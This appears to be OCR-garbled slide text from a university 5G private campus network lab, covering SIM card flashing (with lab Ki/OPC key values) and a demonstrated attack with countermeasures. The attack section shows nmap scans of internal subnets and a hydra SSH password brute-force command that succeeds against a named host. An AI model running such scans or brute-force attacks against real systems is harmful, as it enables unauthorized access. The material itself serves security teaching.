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Flashing SIM Cards

Start the program OYSIMWrited.1.5 which should be delivered with the Oyeitimes SIM card programmer. The value have to be like the ones in the following pictures:

SIM Personalize tools{Copyright:OVEITIMES Co, Ltd Ver 4.15) X
| Feader(PC/SC: [Identiv CLOUD 2700F: Smart Card Reader 0 =] Pcesh | PesdCad |  WiteCwd |  SaveDas | LoadDaia | Bt | |
Balch Wite Card
DaaFi | Select Fils ; Go || Fist | Pre | M | Lost | | Find | [Cortins| Templatd
Conenan Parameter
ATR. |3BIFBE01FCaB031EGTAFE 2113578051 02B606441668 Type: [CTEILHBZILTEGGM Langusge: | ADN

ICCID: |28010208330000000001 I™ Inc [DEC20)  PINT: [1234 PUK1: |B2B83838 PINZ: [1234 PUk2 |B2BB3BRE (4SCH) ADM: |383B3B38383B3838 [HEX16/9)

GSMAWEDMALTE | CDMA/EYDO/CSIM | YoLTEASIM |

~GSM Parameter [LTEAWCDMA Parameter
" IMSITE: IEDSZSZHEDDDDDDDD31 i IMSI15: IZSZHEDDDDDDDDET I™ Inc [DEC18/15) € IMSIE: IEDHZEZHEDDDDDDDD]T @ IMSI15: IZEZSEDDDDDDDD31 [~ Inc (DEC18/15)

ACC [0002 [ Input (DECH) AD: [oo0oooo2 . A0 0002 [ Input IDECH] 40: [o0000002 .
I Ine Kl [0C0434601D4F07677303652C 14625358 [HEX32) I Inc ki [O00A3450 DAFO7677 303652C04625358 [HEX%32)
PLMN; [4B000; 46002 46007: 46006; 45412 41004  OPC: [B3BFASOEEGEZI6EFF14C1FASFRRTaTD [HEX32)
Auto

EHPLMN: [2625 ¢ op [T HER32)
FPLMN; I _I PLMMuwbct: |25235 BO00; 26295:0080; 26295:4000 _‘
HPLMN: [00 [HEX2) sot [ Em2[ Hew OPLMNwéct: [26295:8000; 26295:0080; 26295:4000 ._[Amo
swep [+ meison: [ [ e [4S0) HPLMNuwéct: [26295.8000; 26295:0080; 262953400 =y

SPH: [CoSa THL [s0) EHPLMN: [26255
£ce | = FRLMN: [ =

Mgorthm: € Compl281 € Compl262 € Compl283 & Mienage HPPLMN; [00 [HEX2) ot [ mo2|  HEX)

shsp: [+ 150 MSISON ™ ne (as0)

https://git.mylab.th-1luebeck.de/5g/cosa-5g-private-campus-network-deployment-oai/-/blob/main/oai-network-setup.md#
flashing-sim-cards
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Netzwerkscan

user@ue:~$ traceroute th—luebeck.de

[

2 192.168.70.129 (192.168.70.129) 27.053 ms 27.024 ms 26.996 ms
3 192.168.50.1 (192.168.50.1) 32.979 ms 32.954 ms 32.927 ms

[
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Netzwerkscan

user@ue:~$ nmap 192.168.70.0/24
[

Nmap done: 256 IP addresses (10 hosts up) scanned in 27.29 seconds

user@ue::~$ nmap 192.168.50.0/24
[-..]

Nmap done: 256 IP addresses (9 hosts up) scanned in 14.48 seconds
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SSH-Passwort-Rateangriff

user@ue:~# hydra —| fiveg —x 1:4:al corel80216.th—luebeck.de ssh
]

[

[22][ssh] host: corel80216 login: fiveg password : <REDACTED>
[STATUS] 114.05 tries/min, 1497984 tries in 218:55h

1 of 1 target successfully completed, 1 valid password found
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GegenmaBnahmen
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Alerting

= Alert rules

Search by data source

(@ Search by label Rule type

11 rules:

v Firing (4)
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Pending (0)
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View as
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